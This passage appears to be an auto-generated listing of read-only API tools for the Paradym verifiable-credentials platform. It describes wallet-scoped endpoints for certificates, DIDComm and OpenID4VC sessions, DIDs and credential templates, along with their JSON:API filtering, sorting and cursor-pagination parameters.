multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. The following parameters are supported for this endpoint: - filter: `id`, `name` - search: `name` - sort: `id`, `createdAt`, `updatedAt` (default: `sort=-id`) ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets GET /api/v1/paradym/v1/wallets. Scopes: api. paradym_get_v1_wallets_by_walletid_attribute_providers (read) — Retrieve all attribute providers associated with the provided `walletId`. ## Example An example query that searches for all attribute providers and order them by the date they were created descending, limiting the page size to 10 ``` /v1/wallets/{walletId}/attribute-providers?sort=-createdAt&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. The following parameters are supported for this endpoint: - filter: `id`, `url`, `name` - search: `url`, `name` - sort: `createdAt`, `updatedAt`, `id` (default: `sort=-id`) ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/attribute-providers GET /api/v1/paradym/v1/wallets/{walletId}/attribute-providers. Scopes: api. paradym_get_v1_wallets_by_walletid_attribute_providers_by_attributeproviderid (read) — Retrieves an attribute provider by its id. via GET /v1/wallets/{walletId}/attribute-providers/{attributeProviderId} GET /api/v1/paradym/v1/wallets/{walletId}/attribute-providers/{attributeProviderId}. Scopes: api. paradym_get_v1_wallets_by_walletid_authorization_servers (read) — Retrieve all authorization servers associated with the provided `walletId`. ## Example An example query that searches for all authorization servers and order them by the date they were created descending, limiting the page size to 10 ``` /v1/wallets/{walletId}/authorization-servers?sort=-createdAt&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. The following parameters are supported for this endpoint: - filter: `id`, `url`, `name` - search: `url`, `name` - sort: `createdAt`, `updatedAt`, `id` (default: `sort=-id`) ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/authorization-servers GET /api/v1/paradym/v1/wallets/{walletId}/authorization-servers. Scopes: api. paradym_get_v1_wallets_by_walletid_authorization_servers_by_authorizationserverid (read) — Retrieves an authorization server by its id. via GET /v1/wallets/{walletId}/authorization-servers/{authorizationServerId} GET /api/v1/paradym/v1/wallets/{walletId}/authorization-servers/{authorizationServerId}. Scopes: api. paradym_get_v1_wallets_by_walletid_certificates (read) — Retrieve all certificates associated with the provided `walletId`. ## Example An example query that searches for all certificates and order them by the date they were created descending, limiting the page size to 10 ``` /v1/wallets/{walletId}/certificates?sort=-createdAt&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. The following parameters are supported for this endpoint: - filter: `type`, `keyType`, `subjectKeyIdentifier` - search: - - sort: `createdAt`, `updatedAt`, `id`, `type`, `keyType` (default: `sort=-id`) ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/certificates GET /api/v1/paradym/v1/wallets/{walletId}/certificates. Scopes: api. paradym_get_v1_wallets_by_walletid_certificates_csrs (read) — Retrieve all certificate signing requests associated with the provided `walletId`. ## Example An example query that searches for all certificate signing requests and order them by the date they were created descending, limiting the page size to 10 ``` /v1/wallets/{walletId}/certificates/csrs?sort=-createdAt&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. The following parameters are supported for this endpoint: - filter: `type`, `keyType`, `subjectKeyIdentifier` - search: - - sort: `createdAt`, `updatedAt`, `expiresAt`, `id`, `type`, `keyType` (default: `sort=-id`) ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/certificates/csrs GET /api/v1/paradym/v1/wallets/{walletId}/certificates/csrs. Scopes: api. paradym_get_v1_wallets_by_walletid_didcomm_connections (read) — Retrieve all DIDComm connections associated with the provided `walletId`. ## Example An example query that searches for all didcomm connections where displayName includes "Wallet" and order them by the date they were created descending, limiting the page size to 10 ``` /v1/wallets/{walletId}/didcomm/connections?search[displayName]=Wallet&sort=-createdAt&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. The following parameters are supported for this endpoint: - filter: `id`, `displayName`, `didcommInvitationId` - search: `displayName` - sort: `id`, `createdAt`, `updatedAt` (default: `sort=-id`) ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/didcomm/connections GET /api/v1/paradym/v1/wallets/{walletId}/didcomm/connections. Scopes: api. paradym_get_v1_wallets_by_walletid_didcomm_connections_by_didcommconnectionid (read) — Retrieve a specific DIDComm connection by its id. via GET /v1/wallets/{walletId}/didcomm/connections/{didcommConnectionId} GET /api/v1/paradym/v1/wallets/{walletId}/didcomm/connections/{didcommConnectionId}. Scopes: api. paradym_get_v1_wallets_by_walletid_didcomm_invitations (read) — Retrieve all DIDComm invitations associated with the provided `walletId`. ## Example An example query that searchs for all didcomm invitations where reusable is set to `false` and order them by the date they were created descending, limiting the page size to 10 ``` /v1/wallets/{walletId}/didcomm/invitations?filter[reusable]=false&sort=-createdAt&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. The following parameters are supported for this endpoint: - filter: `id`, `reusable` - search: - - sort: `id`, `createdAt`, `updatedAt` (default: `sort=-id`) ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/didcomm/invitations GET /api/v1/paradym/v1/wallets/{walletId}/didcomm/invitations. Scopes: api. paradym_get_v1_wallets_by_walletid_didcomm_invitations_by_didcomminvitationid (read) — Retrieve a specific DIDComm invitation by its id. via GET /v1/wallets/{walletId}/didcomm/invitations/{didcommInvitationId} GET /api/v1/paradym/v1/wallets/{walletId}/didcomm/invitations/{didcommInvitationId}. Scopes: api. paradym_get_v1_wallets_by_walletid_didcomm_issuance (read) — Retrieve all DIDComm issuance sessions associated with the provided `walletId`. ## Example An example query that searches for all issuance sessions where the status is "offered" and order them by the date they were created descending, limiting the page size to 10 ``` /v1/wallets/{walletId}/didcomm/issuance?filter[status]=offered&sort=-createdAt&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. The following parameters are supported for this endpoint: - filter: `id`, `createdAt`, `updatedAt`, `status`, `didcommConnectionId`, `didcommInvitationId` - search: - - sort: `id`, `createdAt`, `updatedAt` (default: `sort=-id`) ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/didcomm/issuance GET /api/v1/paradym/v1/wallets/{walletId}/didcomm/issuance. Scopes: api. paradym_get_v1_wallets_by_walletid_didcomm_issuance_by_didcommissuanceid (read) — Retrieve a specific DIDComm issuance session by its id. via GET /v1/wallets/{walletId}/didcomm/issuance/{didcommIssuanceId} GET /api/v1/paradym/v1/wallets/{walletId}/didcomm/issuance/{didcommIssuanceId}. Scopes: api. paradym_get_v1_wallets_by_walletid_didcomm_mediators (read) — Get all the mediators for the current user. All of these you can use to allow certain public keys to connect to the mediator. We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `sort` - Sort the results by the given property. The default is `sort=-id`. We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/didcomm/mediators GET /api/v1/paradym/v1/wallets/{walletId}/didcomm/mediators. Scopes: api. paradym_get_v1_wallets_by_walletid_didcomm_mediators_by_didcommmediatorid (read) — Get a specific DIDcomm mediator by its id. via GET /v1/wallets/{walletId}/didcomm/mediators/{didcommMediatorId} GET /api/v1/paradym/v1/wallets/{walletId}/didcomm/mediators/{didcommMediatorId}. Scopes: api. paradym_get_v1_wallets_by_walletid_didcomm_mediators_by_didcommmediatorid_connections (read) — This gives the possibility to fetch mediator connections. We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `sort` - Sort the results by the given property. The following parameters are supported for this endpoint: - filter: `id`, `status`, `initialPublicKeyBase58` - search: - - sort: `id`, `createdAt`, `updatedAt` We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/didcomm/mediators/{didcommMediatorId}/connections GET /api/v1/paradym/v1/wallets/{walletId}/didcomm/mediators/{didcommMediatorId}/connections. Scopes: api. paradym_get_v1_wallets_by_walletid_didcomm_mediators_by_didcommmediatorid_connections_by_didcommmediatorconnectionid (read) — Get a specific mediator connection by its id. via GET /v1/wallets/{walletId}/didcomm/mediators/{didcommMediatorId}/connections/{didcommMediatorConnectionId} GET /api/v1/paradym/v1/wallets/{walletId}/didcomm/mediators/{didcommMediatorId}/connections/{didcommMediatorConnectionId}. Scopes: api. paradym_get_v1_wallets_by_walletid_didcomm_verification (read) — Retrieve all DIDComm verification sessions associated with the provided `walletId`. ## Example An example query that searches for all verification sessions where the status is "offered" and order them by the date they were created descending, limiting the page size to 10 ``` /v1/wallets/{walletId}/didcomm/verification?filter[status]=offered&sort=-createdAt&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. The following parameters are supported for this endpoint: - filter: `id`, `createdAt`, `updatedAt`, `status`, `presentationTemplateId` - search: - - sort: `id`, `createdAt`, `updatedAt` (default: `sort=-id`) ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/didcomm/verification GET /api/v1/paradym/v1/wallets/{walletId}/didcomm/verification. Scopes: api. paradym_get_v1_wallets_by_walletid_didcomm_verification_by_didcommverificationid (read) — Retrieve a DIDComm verification session by its ID. via GET /v1/wallets/{walletId}/didcomm/verification/{didcommVerificationId} GET /api/v1/paradym/v1/wallets/{walletId}/didcomm/verification/{didcommVerificationId}. Scopes: api. paradym_get_v1_wallets_by_walletid_dids (read) — Retrieve all DIDs associated with the provided `walletId`. ## Example An example query that searches for all dids where method is `cheqd` and order them by the date they were created descending, limiting the page size to 10 ``` /v1/wallets/{walletId}/dids?filter[method]=cheqd&sort=-createdAt&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. The following parameters are supported for this endpoint: - filter: `did`, `method`, `network` - search: `did` - sort: `createdAt`, `updatedAt` (default: `sort=-id`) ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/dids GET /api/v1/paradym/v1/wallets/{walletId}/dids. Scopes: api. paradym_get_v1_wallets_by_walletid_issuance (read) — Retrieve all issued credentials associated with the provided `walletId`. ## Example An example query that searches for all issued credentials where the format is `sd-jwt-vc`, there is no exchange and limiting the page size to 10 ``` /v1/wallets/{walletId}/issuance?filter[format]=sd-jwt-vc&filter[exchange]=null&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. The following parameters are supported for this endpoint: - filter: `format`, `status`, `credentialTemplateId`, `exchange` (pass 'null' for looking for issued credentials without exchange) - search: - - sort: `id` (default: `sort=-id`) ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/issuance GET /api/v1/paradym/v1/wallets/{walletId}/issuance. Scopes: api. paradym_get_v1_wallets_by_walletid_members (read) — Retrieve all members associated with the provided `walletId`. ## Example An example query that searches for all members where in wallet, limiting the page size to 10 ``` /v1/wallets/{walletId}/members?page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. The following parameters are supported for this endpoint: - filter: `id` - search: - - sort: `id` (default: `sort=-id`) ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/members GET /api/v1/paradym/v1/wallets/{walletId}/members. Scopes: api. paradym_get_v1_wallets_by_walletid_openid4vc_issuance (read) — Retrieve all OpenID4VC issuance sessions associated with the provided `walletId`. ## Example An example query that searches for all issuance sessions where the status is "offered" and order them by the date they were created descending, limiting the page size to 10 ``` /v1/wallets/{walletId}/openid4vc/issuance?filter[status]=offered&sort=-createdAt&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. The following parameters are supported for this endpoint: - filter: `id`, `createdAt`, `updatedAt`, `status` - search: - - sort: `id`, `createdAt`, `updatedAt` (default: `sort=-id`) ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/openid4vc/issuance GET /api/v1/paradym/v1/wallets/{walletId}/openid4vc/issuance. Scopes: api. paradym_get_v1_wallets_by_walletid_openid4vc_issuance_by_openid4vcissuanceid (read) — Retrieve a specific OpenID4VC issuance session by its id. via GET /v1/wallets/{walletId}/openid4vc/issuance/{openId4VcIssuanceId} GET /api/v1/paradym/v1/wallets/{walletId}/openid4vc/issuance/{openId4VcIssuanceId}. Scopes: api. paradym_get_v1_wallets_by_walletid_openid4vc_verification (read) — Retrieve all OpenID4VC verification sessions associated with the provided `walletId`. ## Example An example query that searches for all verification sessions where the status is "requested" and order them by the date they were created descending, limiting the page size to 10 ``` /v1/wallets/{walletId}/openid4vc/verification?filter[status]=requested&sort=-createdAt&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. The following parameters are supported for this endpoint: - filter: `id`, `createdAt`, `updatedAt`, `status`, `presentationTemplateId` - search: - - sort: `id`, `createdAt`, `updatedAt` (default: `sort=-id`) ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/openid4vc/verification GET /api/v1/paradym/v1/wallets/{walletId}/openid4vc/verification. Scopes: api. paradym_get_v1_wallets_by_walletid_openid4vc_verification_by_openid4vcverificationid (read) — Retrieve a specific OpenID4VC verification session by its id. via GET /v1/wallets/{walletId}/openid4vc/verification/{openId4VcVerificationId} GET /api/v1/paradym/v1/wallets/{walletId}/openid4vc/verification/{openId4VcVerificationId}. Scopes: api. paradym_get_v1_wallets_by_walletid_profiles_default (read) — Retrieves the default profile of the wallet. The wallet profile contains which version of the OpenID for Verifiable Credentials specification suite to use, and the public information about the wallet for display purposes. If there is no profile, a new one will automatically be created with the wallet's name as display name. via GET /v1/wallets/{walletId}/profiles/default GET /api/v1/paradym/v1/wallets/{walletId}/profiles/default. Scopes: api. paradym_get_v1_wallets_by_walletid_templates_credentials_anoncreds (read) — Retrieve all `anoncreds` credential templates associated with the provided `walletId`. ## Example An example query that searches for all Anoncreds credential templates where the name includes "My Template" and are not revocable, ordering them by the date they were created descending, limiting the page size to 10 ``` /v1/wallets/{walletId}/templates/credentials/anoncreds?filter[revocable]=false&search[name]=My Template&sort=-createdAt&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. The following parameters are supported for this endpoint: - filter: `id`, `revocable`, `archived` - search: `name` - sort: `id`, `createdAt`, `updatedAt` (default: `sort=-id`) ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/templates/credentials/anoncreds GET /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/anoncreds. Scopes: api. paradym_get_v1_wallets_by_walletid_templates_credentials_anoncreds_by_credentialtemplateid (read) — Retrieve a specific `anoncreds` credential template by its id. via GET /v1/wallets/{walletId}/templates/credentials/anoncreds/{credentialTemplateId} GET /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/anoncreds/{credentialTemplateId}. Scopes: api. paradym_get_v1_wallets_by_walletid_templates_credentials_anoncreds_by_credentialtemplateid_json_schema (read) — Get the JSON schema for an `anoncreds` credential template. You could use this for to generate forms or validate the input. via GET /v1/wallets/{walletId}/templates/credentials/anoncreds/{credentialTemplateId}/json-schema GET /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/anoncreds/{credentialTemplateId}/json-schema. Scopes: api. paradym_get_v1_wallets_by_walletid_templates_credentials_mdoc (read) — Retrieve all `mdoc` credential templates associated with the provided `walletId`. ## Example An example query that searches for all mDoc VC credential templates where the name includes "My Template", ordering them by the date they were created descending, limiting the page size to 10 ``` /v1/wallets/{walletId}/templates/credentials/mdoc?filter?search[name]=My Template&sort=-createdAt&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. - `include` - Include a relation model in the response. The following parameters are supported for this endpoint: - filter: `id`, `type`, `archived` - search: `name` - sort: `id`, `createdAt`, `updatedAt` (default: `sort=-id`) - include: - `trustedWallets` - load the Trusted Entities that are allowed to receive this credential. ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/templates/credentials/mdoc GET /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/mdoc. Scopes: api. paradym_get_v1_wallets_by_walletid_templates_credentials_mdoc_by_credentialtemplateid (read) — Retrieve a specific `mdoc` credential template by its id. This endpoint supports the following query parameters: - `include` - Include a relation model in the response. The following parameters are supported for this endpoint: - include: - `trustedWallets` - load the Trusted Entities that are allowed to receive this credential. via GET /v1/wallets/{walletId}/templates/credentials/mdoc/{credentialTemplateId} GET /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/mdoc/{credentialTemplateId}. Scopes: api. paradym_get_v1_wallets_by_walletid_templates_credentials_mdoc_by_credentialtemplateid_json_schema (read) — Get the JSON schema for an `mdoc` credential template. You could use this for to generate forms or validate the input. via GET /v1/wallets/{walletId}/templates/credentials/mdoc/{credentialTemplateId}/json-schema GET /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/mdoc/{credentialTemplateId}/json-schema. Scopes: api. paradym_get_v1_wallets_by_walletid_templates_credentials_sd_jwt_vc (read) — Retrieve all `sd-jwt-vc` credential templates associated with the provided `walletId`. ## Example An example query that searches for all SD-JWT VC credential templates where the name includes "My Template" and are not revocable, ordering them by the date they were created descending, limiting the page size to 10 ``` /v1/wallets/{walletId}/templates/credentials/sd-jwt-vc?filter[revocable]=false&search[name]=My Template&sort=-createdAt&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the 